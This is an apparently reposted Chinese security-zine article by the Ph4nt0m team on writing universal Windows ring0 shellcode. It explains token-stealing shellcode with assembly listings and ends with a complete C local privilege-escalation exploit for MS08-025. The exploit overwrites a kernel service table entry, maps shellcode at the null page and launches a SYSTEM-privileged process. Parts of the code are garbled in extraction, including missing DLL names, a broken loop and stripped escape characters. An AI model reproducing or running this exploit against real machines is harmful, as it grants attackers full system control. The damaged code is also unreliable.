admin 管理员组文章数量: 1184232
2024年2月7日发(作者:404网站)
==Ph4nt0m Security Team==
Issue 0x02, Phile #0x05 of 0x0A
|=---------------------------------------------------------------------------=|
|=------------------------=[ 编写通用内核shellcode ]=------------------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=-----------------------=[ By Tms320 ]=----------------------=|
|=----------------------=[
|=---------------------------------------------------------------------------=|
一、多个内核漏洞的出现将研究者的目光从ring3引向了ring0
最近曝光的ms08-025漏洞,受影响的系统包含了微软出版的几乎所有NT体系结构的版本,
引起了不少研究者的兴趣,漏洞曝光不久就在网上出现了利用程序。基于内核漏洞的溢出,
为我们获取系统的ring0执行权限打开了方便之门,通过这类漏洞提升本地执行权限,获取
system权限执行级别。
目前流传的利用程序,ring0 shellcode大多通过将system进程的Token赋予当前进程来
获取system权限。比较典型的代码如下:
if ( rVersion == 0 ) {
__asm {
nop
nop
nop
nop
nop
nop
mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
Mov eax,[eax]
mov esi,[eax+0x44]//取当前进程EPROCESS
mov eax,esi
search2000:
mov eax,[eax+0xA0]
sub eax,0xA0
mov edx,[eax+0x9C]
cmp edx,0x8 // 通过PID查找系统进程
jne search2000
mov eax,[eax+0x12C] // 获取system进程的token
mov [esi+0x12C],eax // 修改当前进程的token
ret 8
}
}
if ( rVersion == 1 ) {
__asm {
nop
nop
nop
nop
nop
nop
mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
Mov eax,[eax]
mov esi,[eax+0x220]
mov eax,esi
searchXp:
mov eax,[eax+0x88]
sub eax,0x88
mov edx,[eax+0x84]
cmp edx,0x4 // 通过PID查找系统进程
jne searchXp
mov eax,[eax+0xc8] // 获取system进程的token
mov [esi+0xc8],eax // 修改当前进程的token
ret 8
}
}
if ( rVersion == 2 ) {
__asm {
nop
nop
nop
nop
nop
nop
mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
Mov eax,[eax]
mov esi,[eax+0x218]
mov eax,esi
search2003:
mov eax,[eax+0x98]
sub eax,0x98
mov edx,[eax+0x94]
cmp edx,0x4 // 通过PID查找系统进程
jne search2003
mov eax,[eax+0xd8] // 获取system进程的token
mov [esi+0xd8],eax // 修改当前进程的token
ret 8
}
}
对于视窗操作系统,由于EPROCESS这个结构不固定,不同系统中system进程PID不同,导
致上述代码遍历EPROCESS链表查找system进程时需要先判断系统版本,实际是采用硬编码的
方式ring0 shellcode。这种做法的兼容性并不是太好,在同一系统不同补丁下,难免保证不
出现蓝屏。笔者利用上述代码,在非sp1的2k3系统上蓝屏,深刻体会到了ring0利用程序崩溃
时候的威力。
二、本地通用的提权代码
为了提高兼容性,就要尽量避免使用硬编码的方式。由ring3 shellcode的编程经验可
知。使用API可以可靠的执行需要的操作。而API的名称则相对固定。
提权操作将system进程的Token赋予当前执行进程,我们需要做以下的操作:
1.找到system进程EPROCESS。ring0 可以直接访问EPROCESS结构,而导出
的PsInitialSystemProcess 是一个指向system进程的EPROCESS的指针。我们只要从
获取导出变量PsInitialSystemProcess即可获得system进程的EPROCESS。
2.获得当前进程的EPROCESS。提供了IoThreadToProcess(xp,2k3的
PsGetThreadProcess为同一函数)可以查找线程所属的进程,而当前执行线程可由KPCR+124h
获得,通过当前执行线程调用IoThreadToProcess就可以获得当前进程的EPROCESS。鉴于对
于不同版本的NT系统,KPCR这个结构是一个相当稳定的结构,我们甚至可以从内存[0FFDFF124h]
获取当前线程的ETHREAD指针。
3.替换当前进程的Token为system的Token。由于Token在EPROCESS中的偏移不固定,需
要先找出这个偏移值,然后再替换。导出PsReferencePrimaryToken函数包含
了从EPROCESS取Token的操作,我们需要把这个偏移量先从这个函数中挖出来。
对于win 2k系统,PsReferencePrimaryToken取Token的代码为:
mov eax, [ebp+8]
mov edi, [eax+12Ch]
lea eax, [edi-18h]
对于win xp/2k3系统,PsReferencePrimaryToken取Token的代码为:
mov edi, [ebp+8]
lea ebx, [edi+0D8h]
虽然使用的寄存器不固定,但指令相对固定,可以采用获得PsReferencePrimaryToken入
口地址后搜索lea指令获得。再根据偏移为小于EPROCESS长度这一特性,取lea指令前后高位
两个字为0的操作数即可获取Token的偏移量。
综上所述,给出对应的shellcode:
PsReferencePrimaryToken=80123456h
PsInitialSystemProcess=80123456h
IoThreadToProcess=80123456h;
pushad
pushfd
mov esi,PsReferencePrimaryToken
findtokenoffset:
lodsb
cmp al, 8Dh;
jnz findtokenoffset
mov edi,[esi+1]
and al, [esi+3];判断是否为Win 2k
jz @F
mov edi,[esi-5]
@@:
mov esi, [PsInitialSystemProcess]
push dword ptr [0FFDFF124h]
mov eax,PsGetThreadProcess
call eax
add esi, edi
add edi, eax
movsd
popfd
popad
ret 08h
代码中的常数PsReferencePrimaryToken,PsInitialSystemProcess,IoThreadToProcess
可以通过加载,由GetProcAddress在本地获取(需修正到内核地址)。附件给出
的完整ms08-025通用利用程序将给出获取这些地址的例程。
三、进一步提高通用性
如果需要靠shellcode自己获取API的地址,就需要shellcode加上获取API地址的代码和
获取内核基址的代码。由于PE文件格式是固定的,ring3级的API引擎在ring0
下同样适用,我们可以通过API名称的编码,利用API引擎获取对应函数地址。
内核基址可以通过获取其中的函数后搜索PE头获得。在系统的中断描述符表中,我们可以找
到不少中断处理函数地址。利用sidt指令,我们可以获取指向系统中断描述符
表的指针,进一步获得中的函数。IDT指针同样保存在KPCR结构中,更为简单的
方法是直接从[0FFDFF038h](KPCR+38h)内存中读取。
笔者基于上述思想编写了161字节的ring0 shellcode,成功用在了ms08-025的溢出中。
以这种方式实现的ring0 shellcdoe,可以不倚赖外部函数独立执行API操作,能够用于远程
的内核溢出中。远程ring0 shellcode仅仅在幻影内部交流,读者可以按照前述思想自己实
现相关代码。
四、附录
无需判断系统版本的通用利用程序,如果你打崩了,请联系我,我进一步做改进。
#include
#include
#pragma comment (lib, "")
#pragma comment (lib, "")
typedef LONG NTSTATUS;
typedef NTSTATUS (NTAPI *PNTALLOCATE)(HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PULONG RegionSize,
ULONG AllocationType,
ULONG Protect );
typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);
ZWVDMCONTROL ZwVdmControl=NULL;
DWORD PsReferencePrimaryToken = 0;
DWORD PsInitialSystemProcess = 0;
DWORD IoThreadToProcess = 0;
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation=11,
} SYSTEM_INFORMATION_CLASS;
typedef struct _IMAGE_FIXUP_ENTRY {
WORD offset:12;
WORD type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
extern "C"
NTSTATUS
NTAPI
NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect
);
extern "C"
NTSTATUS
NTAPI
NtQuerySystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
extern "C"
PIMAGE_NT_HEADERS
NTAPI
RtlImageNtHeader (
IN PVOID Base
);
extern "C"
PVOID
NTAPI
RtlImageDirectoryEntryToData (
IN PVOID Base,
IN BOOLEAN MappedAsImage,
IN USHORT DirectoryEntry,
OUT PULONG Size
);
void ErrorQuit(char *msg)
{
printf("%s:%xn", msg, GetLastError());
ExitProcess(0);
}
DWORD
GetKernelBase(char *KernelName)
{
NTSTATUS status = STATUS_SUCCESS;
ULONG i = 0;
ULONG NeedSize = 0;
ULONG ModuleTotal = 0;
DWORD dwKernelBase = 0;
PCHAR Temp[10];
PSYSTEM_MODULE_INFORMATION SystemModuleInfo = NULL;
status = NtQuerySystemInformation(
SystemModuleInformation,
(PVOID)Temp,
10,
&NeedSize );
if( status != STATUS_INFO_LENGTH_MISMATCH ) {
printf("NtQuerySystemInformation (first) failed, status: %08Xn", status );
return dwKernelBase;
}
SystemModuleInfo = (PSYSTEM_MODULE_INFORMATION)LocalAlloc( LPTR, NeedSize );
if ( NULL == SystemModuleInfo ) {
printf("NtQuerySystemInformation failed (second), code: %08Xn", GetLastError() );
return dwKernelBase;
}
status = NtQuerySystemInformation(
SystemModuleInformation,
SystemModuleInfo,
NeedSize,
&NeedSize );
if( status != STATUS_SUCCESS ) {
printf("NtQuerySystemInformation failed, status: %08Xn", status );
return dwKernelBase;
}
ModuleTotal = *(PULONG)SystemModuleInfo;
SystemModuleInfo = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)SystemModuleInfo+4);
for( i=0; i if( strstr(SystemModuleInfo->ImageName, "")) { strcpy(KernelName, ""); dwKernelBase = (DWORD)SystemModuleInfo->Base; break; } else if( strstr(SystemModuleInfo->ImageName, "")) { strcpy(KernelName, ""); dwKernelBase = (DWORD)SystemModuleInfo->Base; break; } } LocalFree( SystemModuleInfo ); return dwKernelBase; } DWORD FindKiServiceTable(HMODULE hModule, DWORD dwKeSDTOffset) { PIMAGE_NT_HEADERS NtHeaders = NULL; PIMAGE_BASE_RELOCATION ImageBaseReloc = NULL; PIMAGE_FIXUP_ENTRY ImageFixup = NULL; DWORD RelocTableSize = 0; DWORD i; DWORD dwVirtualAddress; DWORD dwRva; DWORD dwKiServiceTable = 0; NtHeaders = RtlImageNtHeader( hModule ); ImageBaseReloc = (PIMAGE_BASE_RELOCATION)RtlImageDirectoryEntryToData( (PVOID)hModule, TRUE, IMAGE_DIRECTORY_ENTRY_BASERELOC, &RelocTableSize ); if ( NULL == ImageBaseReloc ) { return 0; } do { ImageFixup = (PIMAGE_FIXUP_ENTRY)((DWORD)ImageBaseReloc + sizeof(IMAGE_BASE_RELOCATION)); for ( i = 0; i < ( ImageBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) >> 1; i++, ImageFixup++ ) { if ( ImageFixup->type == IMAGE_REL_BASED_HIGHLOW ) { dwVirtualAddress = ImageBaseReloc->VirtualAddress + ImageFixup->offset; dwRva = *(PDWORD)((DWORD)hModule+dwVirtualAddress) - (DWORD)NtHeaders->ase; if ( dwRva == dwKeSDTOffset ) { if (*(PWORD)((DWORD)hModule + dwVirtualAddress-2) == 0x05c7) { dwKiServiceTable = *(PDWORD)((DWORD)hModule + dwVirtualAddress+4) - NtHeaders->ase; return dwKiServiceTable; } } } } *(PDWORD)&ImageBaseReloc += ImageBaseReloc->SizeOfBlock; } while ( ImageBaseReloc->VirtualAddress ); return 0; } void InitTrampoline() { PNTALLOCATE NtAllocateVirtualMemory; LPVOID addr = (LPVOID)3; DWORD dwShellSize=0x1000; unsigned char trampoline[]= "x60x9CxBEx56x34x12x80xACx3Cx8Dx75xFBx8Bx7Ex01x22" "x46x03x74x03x8Bx7ExFBx8Bx35x56x34x12x80xFFx35x24" "xF1xDFxFFxB8x56x34x12x80xFFxD0x03xF7x03xF8xA5x9D" "x61xC2x08x00"; NtAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle(""),"NtAllocateVirtualMemory"); if( !NtAllocateVirtualMemory ) exit(0); NtAllocateVirtualMemory( (HANDLE)-1, &addr, 0, &dwShellSize, MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE ); if( (PULONG)addr ) { printf("n[++] Error Allocating memoryn"); exit(0); } *(DWORD*)(trampoline+3)=PsReferencePrimaryToken; *(DWORD*)(trampoline+0x19)=PsInitialSystemProcess; *(DWORD*)(trampoline+0x24)=IoThreadToProcess; memcpy(NULL,trampoline,sizeof(trampoline)-1); } void GetFunction() { HMODULE hNtdll; hNtdll = LoadLibrary(""); if(hNtdll == NULL) ErrorQuit("LoadLibrary failed.n"); ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl"); if(ZwVdmControl == NULL) ErrorQuit("GetProcAddress failed.n"); FreeLibrary(hNtdll); } int main(int argc, char **argv) { //PULONG PntVdmControl=0x805F0DB0; DWORD PntVdmControl=0x80800458; //通过*(PULONG)(KeServiceDescriptorTalbe)+0x10c*4获得 PVOID KeServiceDescriptorTable = NULL; DWORD dwKernelBase = 0; DWORD dwKeSDTOffset = 0; DWORD dwKiServiceTable = 0; DWORD FuncNumber = 0; HMODULE hKernel; char szNtos[MAX_PATH] = {0}; STARTUPINFOA stStartup; PROCESS_INFORMATION pi; printf("ntMS08-025 Windows Local Privilege Escalation Vulnerability Exploit n"); printf("tByTms320,******************n"); printf("tAll unpathched OS can be compromisednn"); if ( argc < 2 ) { printf("tUsage: %s exit(0); } GetFunction(); dwKernelBase = GetKernelBase(szNtos); if( dwKernelBase ) { printf("Get KernelBase Success, %s base = %08Xn", szNtos, dwKernelBase); hKernel = LoadLibraryExA(szNtos,0,1); } else { printf("GetProcAddress failed, code: %dn", GetLastError()); return FALSE; } KeServiceDescriptorTable = GetProcAddress( hKernel, "KeServiceDescriptorTable" ); if ( NULL == KeServiceDescriptorTable ) ErrorQuit("Get KeServiceDescriptorTable Address failed"); printf( "KeServiceDescriptorTable = %08Xn", KeServiceDescriptorTable ); dwKeSDTOffset = (DWORD)KeServiceDescriptorTable - (DWORD)hKernel; dwKiServiceTable = FindKiServiceTable( hKernel, dwKeSDTOffset ); if ( 0 == dwKiServiceTable )ErrorQuit("Find KiServiceTable failed.n"); printf( "oknKiServiceTable == %08Xn", dwKiServiceTable + dwKernelBase ); FuncNumber = *(PDWORD)((DWORD)ZwVdmControl + 1); printf( "ZwVdmControl Call Number: %08Xn", FuncNumber ); PntVdmControl = (DWORD)( dwKiServiceTable + dwKernelBase + FuncNumber * sizeof(DWORD) ); PsReferencePrimaryToken = (DWORD)GetProcAddress( hKernel, "PsReferencePrimaryToken" )-(DWORD)hKernel+dwKernelBase; PsInitialSystemProcess = (DWORD)GetProcAddress( hKernel, "PsInitialSystemProcess" )-(DWORD)hKernel+dwKernelBase; IoThreadToProcess = (DWORD)GetProcAddress( hKernel, "IoThreadToProcess" )-(DWORD)hKernel+dwKernelBase; InitTrampoline(); SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, PntVdmControl ); SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, PntVdmControl+2); printf("n[+] "); ZwVdmControl(0, NULL); GetStartupInfo( &stStartup ); CreateProcess( NULL, argv[1], NULL, NULL, TRUE, NULL, NULL, NULL, &stStartup, &pi ); //此时创建的是SYSTEM权限 printf("[+] "); return TRUE; } -EOF-
版权声明:本文标题:编写通用内核shellcode 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.roclinux.cn/b/1707282357a513572.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论